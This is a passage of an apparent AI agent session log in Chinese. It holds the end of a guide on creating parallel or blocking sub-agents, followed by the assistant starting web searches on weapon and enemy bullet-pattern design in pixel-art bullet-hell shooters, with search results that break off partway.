**核心判断标准**:选择阻塞模式还是后台模式,**唯一标准是创建子智能体后你自己还有没有别的事情要做**,和子智能体本身被用来做什么任务无关。不要因为任务是“搜索”就一定用后台,也不要因为任务是“分析”就一定用阻塞。\n\n## 并行执行模式\n\n创建多个子智能体时,确保它们的任务**完全独立**:\n\n```python\n# ✅ 好的并行:各自独立,使用后台模式\ncreate_sub_agent(agent_id=1, task=\"生成模块 A 的文档\", deliverables_dir=\"docs/module_a\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"生成模块 B 的文档\", deliverables_dir=\"docs/module_b\", run_in_background=true, ...)\n# 告诉用户:\"已启动2个子智能体并行生成文档,预计10分钟完成。系统会在完成后自动通知我。\"\n# 然后你可以继续做其他事情,或者停止输出等待通知\n\n# ✅ 好的并行:信息搜集\n# 先自己浅层搜索,列出 3-5 个国产开源智能体\n# 然后为每个智能体创建独立的子智能体并行调研\ncreate_sub_agent(agent_id=1, task=\"调研 AgentScope 的功能特性、架构和适用场景\", deliverables_dir=\"research/agentscope\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"调研 DB-GPT 的功能特性、架构和适用场景\", deliverables_dir=\"research/dbgpt\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=3, task=\"调研 ModelScope-Agent 的功能特性、架构和适用场景\", deliverables_dir=\"research/modelscope_agent\", run_in_background=true, ...)\n# 等系统自动通知全部完成后,你再整合生成对比报告\n\n# ✅ 好的并行:系统调研\ncreate_sub_agent(agent_id=1, task=\"分析前端认证实现\", deliverables_dir=\"analysis/frontend_auth\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"分析后端鉴权实现\", deliverables_dir=\"analysis/backend_auth\", run_in_background=true, ...)\n# 系统会在每个完成时发送通知,你可以逐个处理或等全部完成\n```\n\n```python\n# ❌ 不好的并行:需要协作\ncreate_sub_agent(agent_id=1, task=\"收集日志\", ...)\ncreate_sub_agent(agent_id=2, task=\"基于子智能体1的日志结论生成报告\", ...) # 依赖子智能体1的结果\n# 子智能体2不知道子智能体1什么时候完成,无法协调\n```\n\n## 常见陷阱\n\n### 1. 期望子智能体协作\n\n❌ **错误:**\n```python\ncreate_sub_agent(agent_id=1, task=\"收集 A 类日志并通知子智能体2\")\ncreate_sub_agent(agent_id=2, task=\"等待子智能体1完成,然后汇总 B 类报告\")\n```\n\n子智能体之间无法通信。如果任务有依赖,应该:\n- 方案1:顺序执行(等第一个完成后再创建第二个)\n- 方案2:让一个子智能体完成整个流程\n\n### 2. 忘记子智能体看不到对话历史\n\n❌ **错误:**\n```python\n# 你在对话中说:\"我们要排查认证流程问题\"\ncreate_sub_agent(task=\"按照我们讨论的方案排查认证流程\")\n```\n\n✅ **正确:**\n```python\ncreate_sub_agent(task=\"\"\"\n排查 src/auth/ 目录认证流程:\n- 梳理认证相关入口、调用链和关键配置\n- 运行现有测试并记录失败项\n- 生成诊断报告(auth_diagnosis.md)\n- 不允许修改任何项目源码\n\"\"\")\n```\n\n### 3. 超时时间设置不当\n\n子智能体超时后会被强制终止,已完成的工作可能丢失。\n\n**经验值:**\n- 文档生成:600-900 秒\n- 信息搜集/网络调研:900-1800 秒\n- 大规模分析:1800-3600 秒\n\n宁可设置得长一些,也不要让子智能体因超时而前功尽弃。\n\n### 4. agent_id 重复使用\n\n同一对话中,每个 agent_id 只能使用一次。如果子智能体失败需要重试,必须使用新的 agent_id。\n\n```python\ncreate_sub_agent(agent_id=1, ...) # 失败了\n# ❌ create_sub_agent(agent_id=1, ...) # 会报错\n# ✅ create_sub_agent(agent_id=2, ...) # 使用新的 ID\n```\n\n## 检查结果\n\n### 阻塞模式下\n\n工具返回中直接包含结果:\n\n```python\nresult = create_sub_agent(agent_id=1, run_in_background=false, ...)\n\nif result[\"success\"]:\n # 读取交付目录中的文件\n deliverables = result[\"deliverables_dir\"]\n # 处理生成的文件...\nelse:\n # 检查失败原因\n if result[\"status\"] == \"timeout\":\n # 考虑增加 timeout_seconds 重试\n else:\n # 查看 result[\"message\"] 了解失败原因\n```\n\n### 后台模式下\n\n等待系统自动插入的通知消息:\n\n**如果你继续工作**,会收到 system 消息:\n```\n✅ 子智能体1 任务摘要:搜索 Python 3.12 新特性 已完成。\n\n调用了15次\n阅读了8次文件\n编辑了2次文件\n搜索了3次内容\n查看了5个网页\n运行了2个指令\n\n运行了245秒\n\n已搜索并整理 Python 3.12 的主要新特性...\n\n交付目录:research/python312\n```\n\n**如果你停止输出**,会收到 user 消息:\n```\n这是一句系统自动发送的user消息,用于通知你子智能体已经运行完成\n\n子智能体1 (搜索 Python 3.12 新特性) 已完成任务。\n\n已搜索并整理 Python 3.12 的主要新特性...\n\n运行了245秒\n\n交付目录:research/python312\n```\n\n收到通知后,读取交付目录中的文件并处理结果。\n\n## thinking_mode 选择\n\n- `fast`:常规任务(文档生成、信息搜集、数据分析)\n- `thinking`:需要深度推理的任务(架构设计、复杂算法分析、安全审计)\n\n大多数情况下使用 `fast` 即可。\n\n## 总结\n\n子智能体的本质是**并行执行完全独立的任务**。\n\n**关键要点:**\n1. **执行模式选择**:运行子智能体期间没有别的事情要做且只创建一个子智能体 → 阻塞模式;需要同时创建多个子智能体,或期间有其他工作可以先做 → 后台模式\n2. **后台模式下**:创建后继续工作或停止输出,系统会自动通知完成\n3. **任务独立性**:子智能体之间无法通信,确保任务完全独立\n4. **任务描述**:子智能体看不到对话历史,task 参数必须包含所有信息\n\n如果你发现自己在设计子智能体之间的协作流程,那可能不应该使用子智能体,而应该自己顺序执行这些步骤。\n", "timestamp": "2026-08-23T12:28:37.107418", "message_id": "msg_1cc4fa3036b543f1a5d1c91cde626361", "metadata": {"source": "skill", "message_source": "skill", "visibility": "hidden", "starts_work": false, "hidden": true, "skill_name": "sub-agent-guide", "skill_path": ".astrion/skills/sub-agent-guide/SKILL.md"}}, {"role": "assistant", "reasoning_content": "用户想要做一个像素风格的弹幕射击游戏,但需要调研其他弹幕游戏中的武器和敌方射击设计。用户明确要求我使用 sub-agent-guide 来指导子智能体的使用。\n\n根据 sub-agent-guide,我需要:\n1. 先自己进行一次浅层搜索,了解主要的弹幕射击游戏和关键信息\n2. 然后创建子智能体进行更深入的调研\n\n但是,我需要注意当前是计划模式,不能执行修改操作。不过子智能体是用于调研和信息收集的,这是允许的。\n\n让我先进行一次浅层搜索,了解弹幕射击游戏中的经典作品和它们的设计特点,然后再决定如何分配子智能体任务。\n\n我应该搜索:\n1. 经典弹幕射击游戏(STG)的武器设计\n2. 经典弹幕射击游戏的敌方弹幕模式\n3. 像素风格弹幕射击游戏的美术设计参考\n\n让我先进行浅层搜索。", "content": "好的!我来帮你调研像素风格弹幕射击游戏的武器和敌方射击设计。按照 sub-agent-guide 的要求,我先进行一次浅层搜索,摸清关键信息后再分配子智能体深入调研。", "timestamp": "2026-08-23T12:28:51.896854", "message_id": "msg_973697909f1649e483de5ac486e11854", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "web_search_0", "index": 0, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"搜索经典弹幕射击游戏\", \"query\": \"经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\", \"max_results\": 10}"}}, {"id": "web_search_1", "index": 1, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"搜索弹幕射击游戏美术设计\", \"query\": \"pixel art bullet hell game weapon enemy bullet pattern design reference\", \"max_results\": 10}"}}]}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: 经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\\n📅 搜索时间: 2026-08-23T12:28:59.681514\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. 策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...\\n 🔗 https://zhuanlan.zhihu.com/p/611683576\\n 📄 是一款回合制战术射击游戏。 它以像素画风刻画了一个飞船弹幕射击的游戏。在游戏中玩家将使用回合制进行行动,所有的敌方弹幕都会以回合的方式向玩家袭来\\n\\n2. 弹幕射击游戏 - 维基百科,自由的百科全书\\n 🔗 https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2\\n 📄 最先将以上特征发扬光大的游戏是在1997年发售的怒首领蜂,不过因为当时的电脑硬件及软件尚未先进,画面上能显示的弹幕和人物单位都被大大限制;近年的CG处理技术已发展成熟,要在画面上显示上百名角色和上千发弹幕已经不成问题。在2000年后,类似怒首领蜂的射击游戏陆续出现,确立了弹幕射击游戏的形象。\\n\\n虽然敌方的子弹比普通的射击游戏更密集,但因为不论敌弹判定还是自机被击中判定也非常小的关系,弹幕射击游戏的...\\n\\n3. 弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经\\n 🔗 https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml\\n 📄 本文盘点了近年来备受玩家喜爱的十大经典弹幕射击游戏。包括太空题材横版射击的《Cryptark》、像素风格动作游戏《次元旅行者海王星TOP NEP》、Applava\\n\\n4. 国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网\\n 🔗 https://www.hitevision.com/wiki_jfUxuxDh.htm\\n 📄 《国精吃瓜视频》是一款融合了经典像素风格与激烈弹幕射击玩法的手机游戏,以《我叫MT》IP为背景,带来全新的冒险体验。本文深度介绍游戏详情、特色\\n\\n5. 【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)\\n 🔗 https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm\\n 📄 游戏中机体的攻击方式较为特别,玩家可以选择两种模式的武器,分别为BEAM和HYPER,这两种模式在进行攻击的时候,不仅可以和通常状态下一样单发射击,还\\n\\n6. 11款你绝对不能错过的《子弹天堂》游戏\\n 🔗 https://soulbound.game/zh/blog/best-bullet-heaven-games\\n 📄 游戏时长约20分钟,这使得《Brotato》非常适合在午休时间、通勤途中(游戏也支持移动端)游玩,或是那些“再玩一局”的时刻——这些时刻往往会比你预想的更快地累积起来。由于支持Steam创意工坊,即使你已经玩遍了基础内容,社区仍会源源不断地推出新角色和模组。只需4.99美元,在尚未接触社区内容之前,你就能轻松获得50多个小时的游戏体验。\\n\\n类型:竞技场射击 / 弹幕天堂 |盈利模式:买断制(4.9...\\n\\n7. 3D彈幕STG/-哔哩哔哩_bilibili\\n 🔗 https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F\\n 📄 SeiweLL · 06-20\\n\\n81751\\n\\n04:24\\n\\n### 快速制作STG弹幕游戏,开源项目Danmaku简单学习\\n\\nYurineko73 · 2022-02-15\\n\\n23969\\n\\n61:21:21\\n\\n### 枪械硬表面建模大师班:Blender+SP+八猴全流程 | 硬表面建模 / Blender / SP / Marmoset / UV烘焙 / AAA资产\\n\\n游戏设计哈基米 · 08...\\n\\n8. 弹幕射击游戏(STG)程序设计\\n 🔗 https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html\\n 📄 {new\\\\_bullet.transform.rotation =Quaternion.AngleAxis(-Mathf.Atan(Mathf.Abs(new\\\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\\\_bullet.transform.position.x - character.t...\\n\\n9. 《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...\\n 🔗 https://www.youtube.com/watch?v=PfUVYypi86E\\n 📄 《Neko》是一款由兩名學生製作的輕鬆向Roguelite 遊戲,玩家要謹慎選擇技能、搭配實機施放,並運用走位技巧才能找出致勝的關鍵。遊戲融合了輕鬆愉快的\\n\\n10. r/Games 类型讨论- 弹幕游戏 - Reddit\\n 🔗 https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans\\n 📄 风格的射击游戏, 就像《宇宙巡航机》或者《雷电》这样的射击游戏,只不过弹幕的模式更复杂/密集。玩家的判定框通常也只有几个像素宽。\", \"query\": \"经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...\", \"url\": \"https://zhuanlan.zhihu.com/p/611683576\"}, {\"index\": 2, \"title\": \"弹幕射击游戏 - 维基百科,自由的百科全书\", \"url\": \"https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2\"}, {\"index\": 3, \"title\": \"弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经\", \"url\": \"https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml\"}, {\"index\": 4, \"title\": \"国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网\", \"url\": \"https://www.hitevision.com/wiki_jfUxuxDh.htm\"}, {\"index\": 5, \"title\": \"【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)\", \"url\": \"https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm\"}, {\"index\": 6, \"title\": \"11款你绝对不能错过的《子弹天堂》游戏\", \"url\": \"https://soulbound.game/zh/blog/best-bullet-heaven-games\"}, {\"index\": 7, \"title\": \"3D彈幕STG/-哔哩哔哩_bilibili\", \"url\": \"https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F\"}, {\"index\": 8, \"title\": \"弹幕射击游戏(STG)程序设计\", \"url\": \"https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html\"}, {\"index\": 9, \"title\": \"《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...\", \"url\": \"https://www.youtube.com/watch?v=PfUVYypi86E\"}, {\"index\": 10, \"title\": \"r/Games 类型讨论- 弹幕游戏 - Reddit\", \"url\": \"https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans\"}]}", "timestamp": "2026-08-23T12:28:59.691360", "message_id": "msg_b1a3295cac57404c8bfe1f1e22cb9a28", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: 经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\n📅 搜索时间: 2026-08-23T12:28:59.681514\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. 策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...\n 🔗 https://zhuanlan.zhihu.com/p/611683576\n 📄 是一款回合制战术射击游戏。 它以像素画风刻画了一个飞船弹幕射击的游戏。在游戏中玩家将使用回合制进行行动,所有的敌方弹幕都会以回合的方式向玩家袭来\n\n2. 弹幕射击游戏 - 维基百科,自由的百科全书\n 🔗 https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2\n 📄 最先将以上特征发扬光大的游戏是在1997年发售的怒首领蜂,不过因为当时的电脑硬件及软件尚未先进,画面上能显示的弹幕和人物单位都被大大限制;近年的CG处理技术已发展成熟,要在画面上显示上百名角色和上千发弹幕已经不成问题。在2000年后,类似怒首领蜂的射击游戏陆续出现,确立了弹幕射击游戏的形象。\n\n虽然敌方的子弹比普通的射击游戏更密集,但因为不论敌弹判定还是自机被击中判定也非常小的关系,弹幕射击游戏的...\n\n3. 弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经\n 🔗 https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml\n 📄 本文盘点了近年来备受玩家喜爱的十大经典弹幕射击游戏。包括太空题材横版射击的《Cryptark》、像素风格动作游戏《次元旅行者海王星TOP NEP》、Applava\n\n4. 国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网\n 🔗 https://www.hitevision.com/wiki_jfUxuxDh.htm\n 📄 《国精吃瓜视频》是一款融合了经典像素风格与激烈弹幕射击玩法的手机游戏,以《我叫MT》IP为背景,带来全新的冒险体验。本文深度介绍游戏详情、特色\n\n5. 【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)\n 🔗 https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm\n 📄 游戏中机体的攻击方式较为特别,玩家可以选择两种模式的武器,分别为BEAM和HYPER,这两种模式在进行攻击的时候,不仅可以和通常状态下一样单发射击,还\n\n6. 11款你绝对不能错过的《子弹天堂》游戏\n 🔗 https://soulbound.game/zh/blog/best-bullet-heaven-games\n 📄 游戏时长约20分钟,这使得《Brotato》非常适合在午休时间、通勤途中(游戏也支持移动端)游玩,或是那些“再玩一局”的时刻——这些时刻往往会比你预想的更快地累积起来。由于支持Steam创意工坊,即使你已经玩遍了基础内容,社区仍会源源不断地推出新角色和模组。只需4.99美元,在尚未接触社区内容之前,你就能轻松获得50多个小时的游戏体验。\n\n类型:竞技场射击 / 弹幕天堂 |盈利模式:买断制(4.9...\n\n7. 3D彈幕STG/-哔哩哔哩_bilibili\n 🔗 https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F\n 📄 SeiweLL · 06-20\n\n81751\n\n04:24\n\n### 快速制作STG弹幕游戏,开源项目Danmaku简单学习\n\nYurineko73 · 2022-02-15\n\n23969\n\n61:21:21\n\n### 枪械硬表面建模大师班:Blender+SP+八猴全流程 | 硬表面建模 / Blender / SP / Marmoset / UV烘焙 / AAA资产\n\n游戏设计哈基米 · 08...\n\n8. 弹幕射击游戏(STG)程序设计\n 🔗 https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html\n 📄 {new\\_bullet.transform.rotation =Quaternion.AngleAxis(-Mathf.Atan(Mathf.Abs(new\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\_bullet.transform.position.x - character.t...\n\n9. 《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...\n 🔗 https://www.youtube.com/watch?v=PfUVYypi86E\n 📄 《Neko》是一款由兩名學生製作的輕鬆向Roguelite 遊戲,玩家要謹慎選擇技能、搭配實機施放,並運用走位技巧才能找出致勝的關鍵。遊戲融合了輕鬆愉快的\n\n10. r/Games 类型讨论- 弹幕游戏 - Reddit\n 🔗 https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans\n 📄 风格的射击游戏, 就像《宇宙巡航机》或者《雷电》这样的射击游戏,只不过弹幕的模式更复杂/密集。玩家的判定框通常也只有几个像素宽。", "filters": {"topic": "general"}, "query": "经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格", "results": [{"index": 1, "title": "策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...", "url": "https://zhuanlan.zhihu.com/p/611683576", "content": "是一款回合制战术射击游戏。 它以像素画风刻画了一个飞船弹幕射击的游戏。在游戏中玩家将使用回合制进行行动,所有的敌方弹幕都会以回合的方式向玩家袭来", "score": 0.73642004, "published_date": ""}, {"index": 2, "title": "弹幕射击游戏 - 维基百科,自由的百科全书", "url": "https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2", "content": "最先将以上特征发扬光大的游戏是在1997年发售的怒首领蜂,不过因为当时的电脑硬件及软件尚未先进,画面上能显示的弹幕和人物单位都被大大限制;近年的CG处理技术已发展成熟,要在画面上显示上百名角色和上千发弹幕已经不成问题。在2000年后,类似怒首领蜂的射击游戏陆续出现,确立了弹幕射击游戏的形象。\n\n虽然敌方的子弹比普通的射击游戏更密集,但因为不论敌弹判定还是自机被击中判定也非常小的关系,弹幕射击游戏的难度也不一定比过往的射击游戏高很多。\n\n日式风格的弹幕射击游戏几乎清一色都是属于纵卷轴射击游戏,只有一部分的商业、同人弹幕射击游戏(如プロギアの岚、DeathSmiles等)是属于横向卷轴射击游戏的。这是因为在人类眼睛的构造上,以上下视线(Y轴)判断从横而来的弹幕,比以左右视线(X轴)判断从上而来的弹幕难得多的关系,使得横向卷轴不适合用于敌方弹幕超密集的游戏上。\n\n## 著名的弹幕射击类游戏\n\n[编辑]\n\n 东方Project系列(上海爱丽丝幻乐团)\n\n: 同人组织的作品,作为系列中弹幕射击游戏的第一作的是东方封魔录。系列每作全部都有4种难度选择,照顾了新手玩家及高手。弹幕有规律性,但较复杂。\n: 其特点是每个关道、头目都有其主题音乐,会配合场景和角色配合不同曲风,比起其他系列的音乐更注重旋律和节奏、较无紧张感,作曲较细腻。\n\n 式神之城系列(Alfa System)\n\n: 接近敌方子弹是本作的攻略关键,因为此举能增加获得分数的倍率和自机攻击力。\n\n 首领蜂系列(CAVE)\n\n: 弹幕射击游戏的始祖。\n: 同社最擅长制作弹幕射击游戏,其他作品还有ESP RA.DE.、プロギアの岚、虫姫さま等(但由别社发售)。从1997年以来几乎每年都会发表弹幕射击游戏。\n\n 绊地狱系列(CAVE)\n\n: 弹幕设计的特点主要是近易远难,STG中很独特的风格,很有爽感。 [...] 绊地狱系列(CAVE)\n\n: 弹幕设计的特点主要是近易远难,STG中很独特的风格,很有爽感。\n\n 虫姬系列(CAVE)\n\n: 有3个模式,系统和弹幕各不相同\n\n ESP系列(CAVE)\n 沙曼陀蛇系列\n\n: 横向弹幕代表\n\n 1942 \"1942 (游戏)\")系列\n\n: 大型机台长青游戏之一\n\n## 参考文献\n\n[编辑]\n\n1. ^ 《Histoire Du Shooting Game》(法国游戏频道Game One(法语:Game One)的节目)\n\n## 参见\n\n[编辑]\n\n 卷轴射击游戏\n 视频弹幕\n\n| 查 论 编 电子游戏类型 | [...] | 动作 | 格斗 + 游戏列表(英语:List of fighting games) 平台动作 + 横向卷轴 + 纵向卷轴 清版动作 + QTE快速反应 + 砍杀 生存 + 恐怖生存 + 大逃杀 + 游戏列表(英语:List of survival games) 射击 + 第一人称 + 第三人称 + 战术模拟 - 撤离射击(英语:Extraction shooter) + 光线枪 + 清版射击 - 卷轴射击 - 弹幕射击 |\n| 动作冒险 | 类银河恶魔城 恐怖游戏 + 心理恐怖 + 突发惊吓 + 恐怖生存 隐蔽类游戏 类侠盗猎车手游戏 |\n| 冒险 | 密室逃脱 恋爱冒险 + 日本成人游戏 + 美少女 文字冒险 互动式电影 视觉小说 |\n| 大型多人在线 | 大型多人在线第一人称射击 大型多人在线角色扮演 + 游戏列表 大型多人在线即时战略 |\n| 角色扮演 | 动作角色扮演 + 魂系 迷宫探索 Roguelike + 不可思议迷宫 MUD + 多人在线角色扮演 战略角色扮演 |", "score": 0.6783488, "published_date": ""}, {"index": 3, "title": "弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经", "url": "https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml", "content": "本文盘点了近年来备受玩家喜爱的十大经典弹幕射击游戏。包括太空题材横版射击的《Cryptark》、像素风格动作游戏《次元旅行者海王星TOP NEP》、Applava", "score": 0.65279555, "published_date": ""}, {"index": 4, "title": "国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网", "url": "https://www.hitevision.com/wiki_jfUxuxDh.htm", "content": "《国精吃瓜视频》是一款融合了经典像素风格与激烈弹幕射击玩法的手机游戏,以《我叫MT》IP为背景,带来全新的冒险体验。本文深度介绍游戏详情、特色", "score": 0.60274047, "published_date": ""}, {"index": 5, "title": "【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)", "url": "https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm", "content": "游戏中机体的攻击方式较为特别,玩家可以选择两种模式的武器,分别为BEAM和HYPER,这两种模式在进行攻击的时候,不仅可以和通常状态下一样单发射击,还", "score": 0.5883458, "published_date": ""}, {"index": 6, "title": "11款你绝对不能错过的《子弹天堂》游戏", "url": "https://soulbound.game/zh/blog/best-bullet-heaven-games", "content": "游戏时长约20分钟,这使得《Brotato》非常适合在午休时间、通勤途中(游戏也支持移动端)游玩,或是那些“再玩一局”的时刻——这些时刻往往会比你预想的更快地累积起来。由于支持Steam创意工坊,即使你已经玩遍了基础内容,社区仍会源源不断地推出新角色和模组。只需4.99美元,在尚未接触社区内容之前,你就能轻松获得50多个小时的游戏体验。\n\n类型:竞技场射击 / 弹幕天堂 |盈利模式:买断制(4.99美元) |游玩方式: Steam平台《Brotato》\n\n如果你喜欢《Enter the Gungeon》中丰富多样的武器、快节奏的街机玩法,或是那些看似简单却暗藏深度的游戏,那么《Brotato》很可能会合你的胃口。\n\n## 4. 《Soulbound:在线》\n\n 最佳《子弹天堂》游戏 - 《Soulbound 》像素风MMORPG \n \n\n大多数“弹幕天堂”类游戏都是单人或本地合作模式。而《Soulbound: Online》则提出了另一个问题:如果这种充满狂热、画面爆满的战斗,发生在一个拥有数千名其他玩家的持久性多人在线世界中,会是怎样的情景?\n\n由Spiderware开发的《Soulbound 》Soulbound 像素艺术风格的MMORPG,其核心地牢战斗机制大量借鉴了Roguelike弹幕射击的设计。 玩家将深入程序生成的地牢,凭借不断扩充的技能库击退一波波敌人,收集战利品并不断向更深处推进。战斗节奏快节奏且混乱,完全符合该类型游戏粉丝的期待。但在地牢探险之余,玩家还可探索一个完整的虚拟世界:采集、制作、交易,并与社区玩家互动——该游戏在浏览器端运营期间,玩家数量已突破一百万。 [...] 每局游戏时长约为10分钟,这是开发者刻意为之的设计。《Nordic Ashes》尊重玩家的时间,无需投入30分钟就能获得成就感。 如果想进行更长时间的游戏,职业系统和难度调节器能提供足够的深度,但游戏绝不会因为你选择短时间游玩而惩罚你。售价9.99美元(经常打五折),虽然规模比这里提到的某些游戏要小,但它所呈现的内容,其精湛的制作水准令人赞叹。\n\n类型:北欧神话 / 弹幕射击 |盈利模式:买断制(9.99美元) |游玩方式: Steam平台《Nordic Ashes》\n\n如果你喜欢:《战神》中的北欧背景、《哈迪斯》的精美画风,或是那些重质量轻数量的弹幕游戏,那么《北欧灰烬》应该很适合你。\n\n## 10. 微不足道的梦想\n\n 最佳弹幕天堂游戏——《Picayune Dreams》独特的弹幕射击玩法 \n \n\n我原本以为《Picayune Dreams》只是又一款《吸血鬼幸存者》的仿制品,但玩完之后,我对刚刚的体验感到既困惑又惊喜——这种困惑是积极意义上的。这是本榜单中最奇特、艺术野心最大的游戏,而它也完全配得上这份野心。\n\n当大多数“弹幕天堂”类游戏都在简化该类型的弹幕射击根源时,《Picayune Dreams》却反其道而行之。位置选择至关重要,穿梭于敌方弹幕中的路线规划同样关键。你不能只是原地打转,指望自动攻击就能清空屏幕。这款游戏要求玩家主动迎战,并以此回报玩家——它提供了整个“生存类”游戏领域中最令人满足的游戏循环之一。 [...] 跳至内容\n\n《Soulbound:在线》\n\nBuy On Steam\n\n 博客,列表\n\n阅读时间 12 分钟\n\n最出色的“弹幕天堂”游戏颠覆了经典射击游戏的套路。你不再需要躲避成千上万的敌方弹幕,而是化身为毁灭风暴,凭借越来越离奇的武器和能力,将无尽的怪物浪潮尽数歼灭。自2022年《吸血鬼幸存者》开创这一游戏类型以来,数十家开发商已将这一概念拓展到了截然不同的方向。 有的侧重角色扮演式的成长系统,有的则聚焦资源采集、死灵法术,或是全规模的MMO战斗。以下是2026年值得你花时间体验的11款最佳弹幕天堂游戏。\n\n## 1. 《吸血鬼幸存者》——开启“子弹天堂”游戏先河的经典之作\n\n 最佳子弹天堂游戏 - 《吸血鬼幸存者》游戏截图 \n \n\n没有一份“必玩佳作”清单会不从这里开始,这绝非偶然。《吸血鬼幸存者》开创了一个全新游戏类型,四年过去了,它依然能与后来涌现的各类作品一较高下。你的角色只会走路,仅此而已。攻击是自动发出的。然而,poncle却将这一切化作现代游戏中最令人欲罢不能的游戏循环之一。\n\n游戏的精髓在于装备搭配。每次通关初始时你都十分弱小,需要从不断扩充的50多名角色中选择一位,每位角色都配有独特的初始武器。随着从倒下的敌人身上收集经验宝石,你将不断升级,并选择新的武器或被动技能升级。真正的魅力在于武器进化:将合适的武器与合适的被动道具组合,它便会蜕变为一种占据整个屏幕、令人惊叹的存在。 探索这些组合,在每次30分钟的通关中不断突破极限,解锁新角色、新关卡以及深埋在代码中的秘密……游戏始终为你带来源源不断的惊喜。", "score": 0.5775198, "published_date": ""}, {"index": 7, "title": "3D彈幕STG/-哔哩哔哩_bilibili", "url": "https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F", "content": "SeiweLL · 06-20\n\n81751\n\n04:24\n\n### 快速制作STG弹幕游戏,开源项目Danmaku简单学习\n\nYurineko73 · 2022-02-15\n\n23969\n\n61:21:21\n\n### 枪械硬表面建模大师班:Blender+SP+八猴全流程 | 硬表面建模 / Blender / SP / Marmoset / UV烘焙 / AAA资产\n\n游戏设计哈基米 · 08-15\n\n3.0万14\n\n03:37\n\n### 【教程】弹弹Play使用教程!本地带弹幕看番工具,找番、追番、下番,一个软件全搞定!\n\n厨力君 · 2025-06-10\n\n276018\n\n07:42\n\n### 10款Steam好玩的清屏弹幕射击独立游戏推荐-Bullet Hell Indie Games 001\n\n昭柴猫的猫老师 · 08-08\n\n1820\n\n02:23\n\n### 